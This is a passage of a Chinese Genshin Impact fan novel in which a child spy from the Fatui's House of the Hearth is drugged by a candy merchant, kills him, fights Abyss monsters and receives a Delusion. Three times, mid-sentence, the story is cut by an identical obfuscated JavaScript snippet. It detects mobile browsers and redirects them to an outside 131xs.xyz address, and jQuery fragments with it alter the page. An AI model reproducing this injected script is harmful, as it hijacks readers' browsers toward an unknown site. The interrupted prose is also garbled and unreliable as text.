街道两侧有数不清的店铺,玻璃橱窗里暖黄明亮的灯光打在那些精美的商品上。谢苗借着孩子的身体去欣赏那些漂亮的物件,将店铺名称和情报上的目标产业一一排查对应。 索沃科夫是至冬本地的富商,靠外贸起家,名下产业众多,然而知名度最广的是糖果店。没错,索沃科夫创造的糖果品牌在全至冬都是小有名气的,壁炉之家的孩子们不缺糖吃,其中就有来自索沃科夫名下产业链制作出来的糖果。 金色短发,蓝绿色的眼睛,外貌中等,长相宽厚,年龄在四五十之间,实际年龄要小一些,只是显老。经常穿着考究的制服三件套去视察店铺营业情况。 谢苗在城内的几处繁华街道都逛了逛,每一家糖果店都走进去观察,装作一副渴望拥有糖果但囊中羞涩的家境普通的少年形象。 有几家店铺的销售员是女性,大多数保持着温暖可亲的笑容。因为职业和顾客群体占比的原因,对于儿童都给予最大程度的耐心。有的见谢苗眼巴巴的望着漂亮糖果,会轻声告诉他可以在晚上闭店前买当天的打折商品——总有些糖果会在临期前处理掉,打折贩卖永不过时。 谢苗知道自己的眼睛好看,仗着人小个子矮,会特意仰着头装可爱:“打折卖掉这样好看的糖果,老板会吃亏的吧?” 同情谁都不要同情老板,以上是任务需要。 “会不会亏本老板心里自然有他的成算啦。老板说,看见可爱孩子们的笑脸就是他最大的幸福。”销售员姐姐摸摸他的脸蛋。 眼前的小男孩掰着指头算了又算,商品标价看了又看,终于做出了决定,他说:“姐姐,我现在的摩拉不够多。你等我攒一些摩拉再来买哦。就要那种日落果味的。” 只有那个口味的糖最甜,苹果和树莓口味的都酸。话说日落果长得跟莲雾特别像…… “好呀。”销售员姐姐笑眯眯。 以上过程至少在城内五家店都上演过,只是每次问的问题都有一些细微的差别。老板会不会吃亏,老板会不会生气,老板会不会在店里观察销售员营业…… 老板不会吃亏,老板不会生气,他每三天来一次店里视察生意检查账本……哇塞,谢苗的任务时限也是三天。 他真的很难不怀疑这次的任务情报不是没搜集完全,而是给他看的只有一丁点。 其实就是这样的吧? 谢苗心里有了计较,去老城区那边的地摊上淘来一只有些年头的口琴,走到繁华商业家的一尊雕像下吹奏。口琴是小时候跟小区里的老大爷学的,大爷当年北上留学,会很多北国的民族小调。小时候的谢苗并不知晓那些异乡曲调来自何处,但并不妨碍他趁着三分钟热度学会了两首。读书时的才艺表演全靠这浑水摸鱼过。 现在也用上了。 他将那只牛皮手提箱对着街道敞开,在里面放了少许摩拉。至于原本的炼金术造物,则是被他重新捏回类金属模样当做垫脚的。 谁会在意街头卖艺孩童垫脚的东西呢? 口琴声悠扬,曲调绵长,似风从远方越过千山万水而来。最简单的五色音阶在日光下舒展,却让光显影出无数褶皱。 都说最简单的最动人,大概是浓烈的情感并不需要太多繁复的辞藻来修饰吧。 尽管已经过去了六年时间,他还是会想起过去那些事情,隔着遥远的时间和空间,像是清亮水中摇曳着的金鱼尾巴,无论如何也抓不住。 有人为他的演奏驻足,丢下几枚摩拉。有人鼓掌,说:“换首欢快些的曲子吧,已经是春天了。” 谢苗想了想,将忧伤的民族小调换成节奏感极强的圆舞曲,昂扬向上,生机勃勃。听众满不满意他不知道,反正他是玩高兴了。 被恐惧打压的少年心性在角落死灰复燃。 要想骗过旁人,首先得骗过自己。谢苗扮演的卖艺孩童形象很成功。音乐是具有感染力的,街道上商店里的人们也听得见欢快的口琴声,有和他年纪相仿的孩子挣脱家长或者仆从的手凑过来围观,巡逻的愚人众守卫也不曾驱赶。 人类的本质决定了他们会下意识追逐能让自己快乐的事物。孩子的笑脸,欢快的歌曲,摇摆的舞姿,还有这正正好的春光。 正午时分,街道上的人少了许多。谢苗也收起箱子踢踢踏踏的离开,在有心人无恶意的注视下进面包店买了午餐,坐在市长雕像下的台子上慢慢啃。 顺嘴一提,他知道至冬城的市长先生是愚人众执行官之一的【公鸡】大人。都这个年纪了,壁炉之家的老师会教授许多愚人众内部的常识,其中就包括执行官大人们对外塑造的形象。【公鸡】和【仆人】对外形象一个是沉稳和蔼的市长,一个是温柔慈爱的福利院院长,总之不会驱赶孩童在自己的塑像下吃午餐。 所以守卫不曾驱赶。 谢苗心里有数,吃完午餐休息了一会继续摆摊卖艺。打发时间的听众会在歌曲间隙时和他聊天,问他小小年纪怎么不去上学出来卖艺。 “因为我没有钱上学呀,先生。” “你的家人呢,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679242|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们不管你吗?” “我有很多兄弟姐妹,妈妈一个人养大我们已经很艰难了。上学的花费太高,只要能吃饱就很好啦。”他掰着指头算了算,然后露出笑脸,“好心打赏我的先生夫人们出手很大方,很快我就可以买到糖果带回去给兄弟姐妹们了。” “可怜的孩子……”这位好心的先生提议,“你要不要来我家做工,陪我的孩子玩?我愿意给你这个数的薪酬。” 谢苗盯着他看了看,属于孩子的那份警惕在蓝紫色的眼睛里不加掩饰的呈现,并不令人反感:“感谢您的好意,先生。但是做工的事情我要先问过妈妈和哥哥们的意见。” 那位金色短发,蓝绿色眼睛的先生微笑:“我可以理解。如果你明天还在这里吹奏的话,我依旧会来听,等你的答复。” 谢苗只是微笑点头:“好呀。” 太阳快要落山了,这个已经挣了不少摩拉的卖艺少年打包了手提箱,走进索沃科夫的糖果店,交付了两箱糖果的定金。 “零花钱不够多了呢……”少年走出糖果店的时候还在嘟囔着,“明天继续吧。” 第二日少年来的时候,顺理成章的卖艺挣钱,拒绝了那位金发好心人的做工要求,然后在日落时分走进那家糖果店,交付了尾款,抱着两箱糖果高高兴兴的离开。说是两箱糖果,其实箱子并不大,和女士的化妆包差不多。糖果色的外壳和淡金花纹,估计有一半的附加价值都是包装提供的。 他在心里翻了个白眼。 离开了繁华的商业街,再往前走就是平民生活区,路上遇见了两个青壮年男性,他们靠近了谢苗:“小朋友,这么多箱子很难拿吧。要不要帮忙?” 谢苗抱紧了糖果,另一只手提着那只牛皮手提箱,警惕的往后退:“谢谢您的好意,但是我自己可以的,请让一让吧。” “不用这么客气。”男人们这样说着,虽然没有继续靠近,但也没有远离,只是坠在谢苗后面不紧不慢的跟着。 谢苗越走越快,最后甚至跑起来,前方有条小巷,在拐角处把他们甩掉就可以了吧…… 少年这样想着,几乎是急切的飞奔然后转弯,却撞进了人怀里。 他仰起脸来,蓝紫色眼睛湿漉漉的。看见了眼前人金色短发和蓝绿色的眼睛,惊喜的叫着:“是您啊,好心的先生。” “叫我索沃科夫先生就好。”好心的先生轻笑,“怎么跑得这样急?有谁在追你吗?” 少年露出有些羞怯的笑来,站直身子解释:“没什么,只是想快些回家。好……索沃科夫先生怎么在这里啊?您也住在这附近吗?” 孩子转移话题的方式总是生硬而可爱的,索沃科夫颔首,装作没看见少年回头观察身后有无人跟踪的模样。他们并排着往前走:“在这边有处房产,我的孩子就住在这边呢。” “那您肯定是一位好【父亲】!” “哈哈哈,谢谢你的夸奖。既然走到这里来了,要去我家做客吗?”他笑起来,温柔和蔼,“我的孩子有些孤独呢。” “唉?” 少年那双罕见的蓝紫色眼睛失去光芒前看到的最后一幕,就是索沃科夫微笑着的脸。 糖果盒子落地,包装精美的球形糖块咕噜噜滚得到处都是。索沃科夫对自家产业的产品没什么视线倾注,单手抱起这个半大的少年,又提起少年卖艺的手提箱。醒来后发现不见的话,大概要闹好半天吧…… “先生。”半路拦住少年然后又消失的两个男人重新出现,其中一个收起手上的麻醉药剂,如同沉默的影子贴在墙角。 索沃科夫眼尾带着狩猎成功后的愉悦:“退下吧,把尾巴扫干净。” “是。” 倾注了少年对家人关爱的,滚落的糖果被清扫扔进了垃圾箱,小巷里静悄悄的,好像什么也没有发生过。 余晖照在少年的背上,索沃科夫愉快的哼着少年演奏过的曲调走进平民街区的某间房子里,路上没有行人,也就没有人发现本该昏迷不省人事的少年悄然睁开了眼睛。 余晖烁金,蓝紫色的眼睛蒙上了阴翳。 到底谁是猎物? 12. 其实我还是有点实力的 谢苗是经历了[活体兵械]实验后的半成功受体,本身的抗药性已经高到一种可怕的程度。任何致幻、麻痹神经的药剂注入他体内效果为零——除非是【博士】最新出品,一针下去能药倒神明的那种。 索沃科夫手底下那帮人拿到的麻醉剂应该是普通的医用麻醉,因此一直没有被愚人众在黑市上查出来。至于是什么渠道弄来的医用麻醉……这个就不是谢苗要思考的了。 索沃科夫将昏迷的少年丢到床榻上,在床头柜那摸索着什么。没注意到少年已经睁开了眼,面无表情的注视着他的动作。 虽然任务上没说索沃科夫有这种兴趣,但昨天被问到要不要去做工的时候他就已经在怀疑对方别有用心。至冬的孤儿很多,雇佣童工的也不是没有,但是就在大街上拉一个来历不明的孩子回家,这正常吗? 谢苗珍重每一份善意,这并不代表他单纯到对每一个人伸出的手都当做帮扶。 “你醒了啊。”索沃科夫找到了他想要的东西,撑在谢苗身上笑眯眯,“欢迎来到我家做客,要做个游戏吗?” 谢苗脸上没有任何表情,平淡而沉默。索沃科夫看见他这样沉静的眼神,突然想到了至冬某个谍报机构培养的就是儿童。其中样貌出众的儿童会利用自身优势接近目标完成任务。 他们来自壁炉之家,是执行官麾下的耳目和利刃,为至冬清扫一切阻碍。 手提箱内部有个暗扣,咔哒一声从内打开,方形的炼金造物被无形的手拿起,漂浮在半空,拆分、切割、组装、填充子弹,成为两柄燧发枪。一左一右对准了索沃科夫的脑袋。 太阳穴传来的冰凉触感提醒了索沃科夫噩梦成真。 身下的少年抬手推开了他,起身整理衣衫。他昨晚在这附近甩开索沃科夫的手下后找了个桥洞睡觉,只想快些完成任务回去吃树莓馅饼。 “你是壁炉之家的孩子,是谁让你来杀我?是潘塔罗涅,还是库嘉维娜?”索沃科夫瘫软了半边身子,被枪口抵着脑袋不敢有什么动作,“一定是潘塔罗涅,他上位后就一直在铲除以前的竞争者。现在只不过是轮到了我而已……” 废话好多。 身后响起两声枪响,炼金术造物重新融回一整块的类金属,自己钻回了箱子。谢苗捡起手提箱,从卧室的窗户那翻了出去,稳稳落地。 黄昏时刻的天空很美,想必今天会有个凉爽的夜晚。 谢苗没管长官他们是怎么核对任务结果的,反正他回去后提交了任务文书,然后美滋滋去吃晚餐。帕维尔见他回来后把自己那份苹果派给了他,又重新去端了一盘炖肉:“做任务的感觉怎么样?” “挺锻炼演技的。”他想起自己扮演的形象笑得脸僵,半晌感慨一句,“还有点蠢。” 帕维尔:“嗯?” 帕维尔放弃理解:“赶紧吃吧,等会瓦西里训练结束后看到你吃多了甜食要念叨的。” 这次的任务不痛不痒,只是个试水的。后续几个月谢苗陆陆续续接到了不同难度的任务,都用两把燧发枪解决得漂漂亮亮。也许上头那位大人要解决的富商政要都清理得差不多了,谢苗的任务也从杀人变成了杀魔物。 其实从这里开始,他就从壁炉之家的间谍预备役逐渐转职为愚人众军人。 执行官内部的勾心斗角尔虞我诈利益纠葛,谢苗这种级别的小虾米根本无从知晓。上头是什么命令,他就怎样照做。对他来说,杀人和杀魔物没什么区别了。 在至冬野外游荡或者驻扎的丘丘人部族,是一群有着淡黄毛发,漆黑皮肤,带着诡异白底红纹面具的存在。会袭击过往商队行人,攻击人类村庄,遵照本能行动,释放那些纯粹的恶意。愚人众会定期清理野外的丘丘人部族,但是很快它们又会在新的太阳升起后从地脉中复苏归来。 谢苗对于提瓦特地脉的认知还停留在浅显阶段,不过亲眼看着杀死的丘丘人变成青烟消散,又在太阳升起后出现,失去被杀的记忆,懵懂无知的重新建立起部族后,他的想法变了。 丘丘人里有一种名为萨满祭司的存在,尊崇古老的元素力,智性远超其他丘丘人。也是谢苗发现的,唯一一种会对他屠杀同胞留有记忆的魔物。 特征就是丘丘萨满会一次比一次更狡猾的安排部族成员防御还击,甚至试图抢夺他携带的手提箱并毁掉。 谢苗问过长官,这正常吗? “萨满是丘丘人里面最年长最聪明的,使用独特的语言文字,会驱使元素力,是部族的领导者。它们有它们的生存智慧,但它们危害到了至冬人民的生活,就得被清除。”长官拍拍他的肩膀,“为女皇陛下守护我们的家园,是我等的职责。” 又出现了,随时随地的爱国主义教育。 好吧,谢苗并不反感。爱自己的国家对他来说是天经地义的,保护自己的同胞更是理所应当的责任。 他只是有些疑惑,如果丘丘人有这样的智慧,他所作所为真的只是清扫低等级的魔物,而不是另一种意义上的杀人吗? 长官的话提醒了他:不管是人类还是魔物,危害到民众的就要被铲除,像园丁会修剪那些分走养料的多余枝丫那样。枝丫难道不是园中草木花朵的一部分吗? 他们是行刑人,是刽子手。抛却无用的情感,成为上位者的利刃。 因为这里是至冬,是无神怜爱的雪国*。 丘丘人的清剿工作告一段落,接下来谢苗要面对的是深渊魔物。 愚人众先遣队的成员看见这个被送来的孩子,面具下的眉头皱了又皱:“这样小,送死来的?” 谢苗听见这话就想起了以前考核失败的孩子会有一部分被安排这样危险的任务。 “任务而已,不用管我。”谢苗说,“如果能力不济,我会自己死的。” 库嘉维娜如果没有看见他完成任务,是不会让他好过的。作为一个被倾注了相当多心血和成本的兵器,如果在正式战场上卷刃,会被泄愤一般的报废。指望着被丢到角落野蛮生长?痴心妄想。 听见他这样说的先遣队队长嗤笑一声,瞥见他提着的箱子,好心提醒:“武器拿在手里,别拖后腿。” 谢苗乖乖照做,在这只队伍补给的时候把手提箱留下来了,拿走了两把燧发枪以及若干子弹。 队伍里的火铳手见到他拿着类似的武器,又多嘴一句:“子弹多带一些,深渊的魔物完全随机出现,谁都说不准遇见的会是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679243|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 谢苗:“够用的。谢谢你的提醒。” 火铳手:“子弹是消耗品,哪怕百发百中,这也只是堪堪够用。小孩,不要抱有侥幸心理。” 谢苗没说话,但是沉默已经足够说明他的态度。 火铳手见状不说了,只当好言难劝该死的鬼。 这只先遣队挂在执行官【散兵】名下,是进行深渊勘测和魔物清剿的部队。【散兵】的直属部队深入前线,这只队伍的工作是在后方补给和扫尾,相对来说负担没有那么重。 想来也是,他还有点价值,不至于那么快就被打上[需要报废]的标签。 “小鬼,快点跟上。” 先遣队成员雷锤在前面发话:“落单了没人管你。” “是,长官。”谢苗没有军衔,属于愚人众军队里末端的末端,叫先遣队队长为长官并没有问题。 今天的运气比较好,赶上了【散兵】大人没有跟执行官同僚们吵架的时候,【散兵】大人在前面带队厮杀,他们在后面也没有多少漏可捡。轻松到谢苗竟然不自量力自我怀疑这是不是库嘉维娜特意安排的镀金任务。 不管怎么说,工作的时候有个干实事的上司真的很好啊。(哪怕这个上司是临时的) 至冬并不是全境全年都在下雪,部分野外还是有着四季轮转的。今天的任务地点是一处出现在森林外的深渊裂隙,从内向外涌出的魔物袭击了附近的村落,医疗兵在搬运受伤的村民救治,先遣队则是合作清剿魔物,分工有序。 谢苗这种小萝卜头抱着枪木愣愣的,没有任务给他,反而被塞了杯热巧克力奶。 给他巧克力奶的是位金发医疗兵姐姐,有些眼熟,谢苗一时半会叫不出她的名字。 “谢缪尔,你已经长这么大了啊。”医疗兵姐姐对他微笑,“我是瓦列娜,还记得我吗?” 这个名字……谢苗摇摇头。 瓦列娜说:“不记得也没关系,那并不是一段愉快的记忆。还能看见你,我已经很高兴了。喝完这杯巧克力奶,执行官大人应该就会收队回来。执行任务多加小心,小谢缪尔。” 会叫他这个小名的人寥寥无几,有些记忆像是海上浮冰,用力捞一捞还是能想起来的。瓦列娜是他刚来这个世界看见的那座战地医院的护士,也是临别前不舍流泪的姐姐。 这个时候谢苗才低头喝了一口奶,放下警惕乖乖点头:“瓦列娜姐姐,你怎么就在这里啊?” “医疗兵就是哪里需要去哪里,这里有伤员,所以我们就来了。”瓦列娜没说的是她对卓娅上尉死于深渊之口耿耿于怀,这些年来一直主动申请深入前线救治。没想到卓娅上尉的孩子居然也被派到这边执行任务……天杀的壁炉之家!这样小的孩子! 但是前线显然不是适合怀旧或者互诉衷肠的场所,瓦列娜还想说些什么,最后也只是吐出一口气,离开这里去指挥她带来的下属们。 “不要围在一起,散开!让空气流通!把场地空出来!” 谢苗还没喝完那杯补充体力的热奶,就被揪去帮忙。 “裂隙下的深渊二次暴动了,前线人手不够,快些跟上!” 啊,极端情况发生了。 13. 有价值之物的装点 深渊裂隙完全随机出现在大地上,地底幽暗深邃之处孕育的魔物无时无刻不在觊觎神明治下的乐土,抓住机会就要入侵、同化。被深渊异化的人类和野兽会成为无智性的魔物,将屠刀挥向曾经的同胞。 因此很多军人会在确认自身感染异化后,在失去理智前自裁以保全同胞。 谢苗没忘记小谢缪尔的父母就是这样死去的。人类的肉胎凡体无法抵抗深渊,只能靠武器和人命去填补裂隙。愚人众先遣队的死亡率居高不下,三成是因为在各国执行任务,剩下七成是倒在深渊的阻拦战役中。 他不再多想,抱着燧发枪和队友们一起跳下了深渊裂隙。 最外围的是低等级的魔物,比如史莱姆(这种奇妙的软趴趴生物在提瓦特还挺常见),比如丘丘人(升级版的会拿着岩盾抵御进攻,或者元素附魔躯体,身形如山岳一般伟岸),比如各色元素深渊法师(长得像是被裹在泡泡里的长耳朵兔子)。 低等级魔物里大概只有史莱姆符合谢苗的审美,可惜各种元素史莱姆混在一起造成的元素伤害真够人喝一壶的。子弹噼里啪啦远程解决,成功造成物理伤害。火铳手回头看了在角落攻击的他一眼,惊愕的发现那些从枪膛里飞射出去的子弹会在目标被击倒后飞回来。 “你的子弹会拐弯?!”他们这样尖叫。 “可以这样解释。”谢苗晃了晃手里的燧发枪,“所以我不缺子弹。” 能够一直反复利用,这就是这种炼金术造物的可怕之处。带上一箱等于装备了一座移动子弹库。 初步在队友心里建立起可靠的形象后,谢苗得到了和火铳手一样的地位——被保护在队伍安全的后方,和队友们彼此守护,为对方制造出安全的输出空间。 再往前走,能看见落单的其他先遣队成员。这个时候出现的就是名为兽境猎犬的深渊魔物,被它们的爪牙利齿攻击到会不断消耗自身生命,许多愚人众就是在失去水铳治疗后硬生生被耗死的。 他们这只队伍里的水铳重卫士有着令人安心的宽厚体格,迅速上前为受伤的落单同僚治疗。冰铳重卫士喷射急冻的寒霜阻碍兽境猎犬的进攻,谢苗等人一拥而上将那头来自深渊的魔兽群殴致死。 你知道的,战场上群殴合理合规。 队伍里的雷锤队长说:“这种魔物又被叫做流血狗,具有溶解空间的能力。一只落单意味着附近有大批同类。【散兵】大人他们就在前面,我们快些去接应。” 岩使游击兵嘟囔着:“我最讨厌流血狗了,没完没了。” 水铳的声音闷闷的,沉稳而厚重:“我还在这呢,我会治疗你们,别怕。” “谁怕了……”虽然这么说着,岩使还是被同伴安抚好了,往周围一摸,成功抓住了谢苗的肩膀,“千万别落单,找到了执行官大人我们才能离开。” 谢苗点头,他们都带着面具,只有自己的脸没有任何遮挡——什么时候也给我发个面具? 大概今天的运气真的很差,背着受伤同僚的冰铳眼尖的发现周遭的空间再次扭曲,黑暗中只听得“嗡”的一声,某种庞大的机械被激活。沉重的躯体燃烧着最后的能源,摇摇晃晃站起,亮起了橙黄色的核心。 “要死要死!”岩使下意识的展开岩元素护盾把同伴保护起来,“怎么是遗迹机兵?这破地方哪来的遗迹给它们守护?” 风拳前锋军没理会身后的咋咋呼呼,严阵以待。 如果只有一两具遗迹机兵,他们这只队伍自然能够靠自己解决然后去支援长官。但很可惜,这次出现的不只是人形的遗迹守卫遗迹重机,还有仿生外形的自律机关。大批集群行动,分工明确,彼此守护,橙黄发红的核心是它们坚硬躯壳上唯一的弱点。 谢苗只在书上看到过这种怪物的插画和介绍。他知道这类东西是被覆灭古国留下的战争机械,严格来说并不属于深渊魔物。所以为什么远在各处遗迹的机兵会出现在这里?因为兽境猎犬溶解了空间,将它们带来了这里吗? 岩使悲愤:“我讨厌流血狗!!!” 果然如此。 黑暗里亮起一盏又一盏的“灯火”,机关启动的嗡鸣声络绎不绝——他们被包围了。 在一众炮火声中,火铳手大声喊:“攻击核心!打发光点!” 风拳和雷锤挥舞着武器,将怪物们挡在保护圈外。冰铳喷射的寒冰延缓了怪物们的行动步伐,让攻击变得迟缓而笨重,人为的创造出破绽。火铳手和谢苗抓紧机会输出,击中核心让这些机关瘫痪。 遗迹龙兽和遗迹猎者腾空,前者具有反制元素的能力,后者的白刃和炮火让人望而生畏。而且在空中作战简直是降维打击,先遣队有一大半成员无法提供作用,输出的重担压在了火铳手和谢苗身上。 火铳的元素附魔子弹需要时间填装,谢苗两把燧发枪一轮能打出二十四发子弹,效率更高。而且是物理攻击,遗迹龙兽的反制效果大打折扣,多少争取了一些喘息空间。 大概这群成年人也没想到真的要靠一个萝卜头小鬼救命吧,紧张兮兮的将他和火铳手团团围住严密守护。 曾经半年的改造让谢苗蜕变,他的眼睛在黑夜中也能无阻碍视物,动态视力更是一等一的优秀。现在只需要信赖队友的守护,屏住呼吸,抬起枪口对准在空中挪动的机械们。食指扣下扳机,子弹穿膛而出,庞大的战斗机械轰隆隆倒地,内部零件剧烈运作点燃能源块,发出焦糊的苦味。 眼见周围没有再动的机械,岩使把谢苗往腋下一揣,撒开丫子和队友们一起狂奔。击溃核心只能让这些遗迹机兵失去一段时间的行动能力,等它们发挥强大的修复能力[自愈]后就会重启——哇塞简直了。 谢苗被岩使夹着跑快要颠吐了,等他们终于停下脚步放下自己后,忍不住缩在角落抠嗓子。 这支先遣队终于和长官带着的大部队会和,投身新一轮的战斗。 等谢苗吐完一抹嘴,拿起燧发枪就是扫射。突然加入的火力覆盖让未明情况的大部队成员一愣,回头就看见一个脸色惨白的小男孩气势汹汹的打枪击倒一个又一个的魔物。 等等,哪来的孩子? 不对,他的输出为什么这么高?破开元素盾后一枪一个魔物。 愚人众的萤术士惊讶得连飞萤都忘了驱使,等这场意外灾难结束,才凑过去看新来的同事。 “我们先遣队招童工?”萤术士少女喃喃自语,抬手摸摸自己的脸,“我参军的时候也没有这样小啊。” 蒙住双眼的藏镜仕女站姿端庄优美,双双立于执行官【散兵】身后,很想提醒队伍里的小姑娘快些让开长官来了,但是礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679244|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪不允许她们这样做。 谢苗面无表情的被队友们揉搓脸蛋,这群大个子对于一同经历生死的战友还是非常友好的。不知道发生了什么,挡住他视线的高个子队友们纷纷让开,取而代之的是一位容貌清秀美丽的少年。 少年头戴宽大的斗笠,边缘垂下描金的帷幕,身上穿着的衣裳款式类似和服,黑底绣织金红纹,殊胜尊贵。眼尾的红色更是神来一笔,给谢苗看呆了。 因为这少年精致漂亮得就像一具人偶。 “散兵大人。” 感谢他的好队友,行礼的时候不忘喊出少年的尊号。原来这位是执行官之一,全体愚人众的长官。 谢苗赶紧低头跟着照做,趁着低头的功夫把暴露在眼中的情绪抹掉。 “抬起头来,小鬼。”散兵的声音轻晃晃的,带着漫不经心的随意,“你是多托雷的部下?他派你来这的?” 多托雷?博士? 谢苗抬头也尽量做到不与对方直视:“属下隶属壁炉之家,奉【母亲】大人的命令前来执行任务。” 库嘉维娜有吩咐,在外也要喊她母亲。 “啧。” 谢苗不明白为什么散兵这位长官的心情突然就糟糕了起来,对方说着什么“蛇鼠一窝”就离开了。没有发难,没有责罚。和传闻中的臭脾气有些出入,也不知道是因为什么。 谢苗低头看着自己抱着的两支燧发枪,在心里狠狠认同散兵的话。 离开裂隙后他没有看见瓦列娜,被热心的战友们送回到壁炉之家。瓦西里听闻他被派去清剿魔物后脸色变得比调色盘还精彩,好几天没管着他吃甜品,不知道去干了什么。谢苗因此过了好一阵子没人管的日子,甜品吃到撑。 偶尔还是会想念一下有人管的日子啦,想知道瓦西里在忙些什么。 帕维尔大口咬着肉排:“他有自己的秘密啦,不用担心。需要的时候瓦西里会让我们帮忙的。” 那倒也是。 谢苗继续享受他的树莓馅饼。 然后在某一天清晨,他被叫到库嘉维娜的办公室。粉发的女人对他温柔的笑着:“好孩子,母亲已经听闻你在前线的卓越表现,英勇非常,没有辜负我对你的期望。” “我能有今天全靠母亲大人的栽培,谢苗不胜感激。”感谢库嘉维娜女士开授的表演课,摒除心中憎恶面上保持微笑对他来说已经是信手拈来的事了。 库嘉维娜很满意他的态度,有时候上位者要的就是一个态度,毕竟实力已经考察通过了不是吗。 “好孩子理应得到嘉奖,母亲会代表女皇陛下赐予你强大的力量……从今以后,你也可以使用元素力,为这个家做出更多贡献,为女皇清扫一切阻碍。” 库嘉维娜的声音像是冬夜的炉火一般,给予失温的旅人梦寐以求的灼热。真丝手套握着那块银制底托镶嵌红宝石的装饰物,将其别在小少年的马甲外套上。 谢苗呼吸一滞。胸前的红宝石带着灼热的温度,快要烫伤他的心脏。 库嘉维娜告诉他:“这就是邪眼,是独属于人类的外置魔力器官*①。红色是火元素的象征。握紧它,驱使它,火的力量便为你所用。” 新世界的大门正在向他敞开,冥冥之中好像有谁在他耳畔低语。 欢迎来到世界。 14. 爱的鞭笞(?) “邪眼!” 帕维尔对他得到的奖励表示惊愕:“母亲大人为什么会给你这个?” 谢苗不解:“有什么不对吗?使用邪眼能获得常人不能拥有的力量啊。”作为对壁炉之家孩子的嘉奖很合适。 “使用邪眼的代价太重,我以为像你这样备受青睐的孩子是不会成为柴薪的……” 眼见帕维尔一反常态情绪不对,谢苗取下了那枚火红的邪眼:“那你该告诉我邪眼的真正使用代价是什么了吧?” 如果仅仅只是愚人众内部公告上宣称的,体格强壮者才能驱使,帕维尔的脸色可不会这样难看。 每个孩子都有自己的秘密和想要隐藏的信息,他完全可以理解。但理解不代表这种时候不想追问。 帕维尔目光复杂的注视着那块“红宝石”,轻声道:“邪眼也分品质的高低。像执行官大人、债务处理人、藏镜仕女他们那样的长官精英使用的就是高品质,对身体危害较轻的邪眼。底层先遣队,还有流落到外国人手里的邪眼就是品质最低劣的,每一次使用都会燃烧使用者的生命。用命去换几次使用不属于自己力量的机会,不值得。” 谢苗还想问,到底是忍住了,因为帕维尔的目光实在是太过哀伤。 “谢苗,我曾亲眼见过邪眼使用者死前的惨状,我不会骗你。哪怕是高品质的邪眼,经年累月的使用也会损耗寿命。”帕维尔深呼吸一口气,整理好表情,“母亲既然授予你邪眼,你大概是逃脱不了使用它的命运。但次数和时机可以自己选择,你从小就比我聪明,肯定知道该怎么做的。” 他又恢复了以前那种没心没肺的状态,仿佛之前的哀伤只是水面的涟漪,风一停便归于平静。 谢苗将目光转向那颗邪眼,最终选择了当着帕维尔的面将它放进抽屉。 “我明白的,谢谢你帕维尔。” 如果没有瓦西里帕维尔这些真正的家人,接受过实验改造的他大概会破罐子破摔就这样使用下去,直到身体负荷不了邪眼带来的反噬然后痛苦扭曲的死去。 但世上没有如果,他渴望活下去。因此有些力量只能当做装饰或者底牌。 虽然接受了改造的他大概率活不到老。 他们一直保持着这样的缄默,直到瓦西里神神秘秘的忙完回到宿舍,谢苗才得知帕维尔的过去。 “他的亲生姐姐曾是先遣队的冰萤术士。因为频繁执行任务使用力量,耗尽了生命。作为萤术士唯一的家人,帕维尔就被送进了壁炉之家。” “帕维尔小时候是真的对任何人不设防,也告诉过我这些事情。等他长大了些,明白了家的真相和愚人众邪眼的秘密,这就只是他的伪装色了。” 瓦西里对于弟弟的过去无意多言,谢苗点点头,表示他心里有数。 这件事很快翻篇过去,获得邪眼后,谢苗明显能感受到自己被分派的任务越来越多,经过上官多次的数据对比,得出结论:他被派出去执行魔物清剿和暗杀目标的任务最合适。 “你的手很稳,天生就适合拿枪做猎人。”上官这样评价,“偏好隐匿在暗中,隔着遥远的距离狙杀……相当精妙的暗杀手法,如果不是你学枪,恐怕加入愚人众后被训练成债务处理人只是时间问题。” 债务处理人是所有愚人众军种中隐匿手段最高明的精英,在隐匿暗杀这方面,萤术士和藏镜仕女都要甘拜下风。 谢苗对于这样的夸奖依旧没有太多面部表情,他知道这样沉默恭顺的姿态能让上官更加信任他的能力。 “去吧,这是新的任务目标。依旧是三天时限,我相信你会圆满完成任务的。” 一纸文书轻飘飘的落在掌心,似鸿鹄之羽重千钧。但谢苗已经不会为此哀伤,也不会好奇目标究竟做了什么引来愚人众的敌意。 他只是温顺道:“遵命,长官。” 打印的留影底片上显示目标是个年轻女人,金发碧眼,美丽得就像阳光下随风摇曳的雏菊一般。 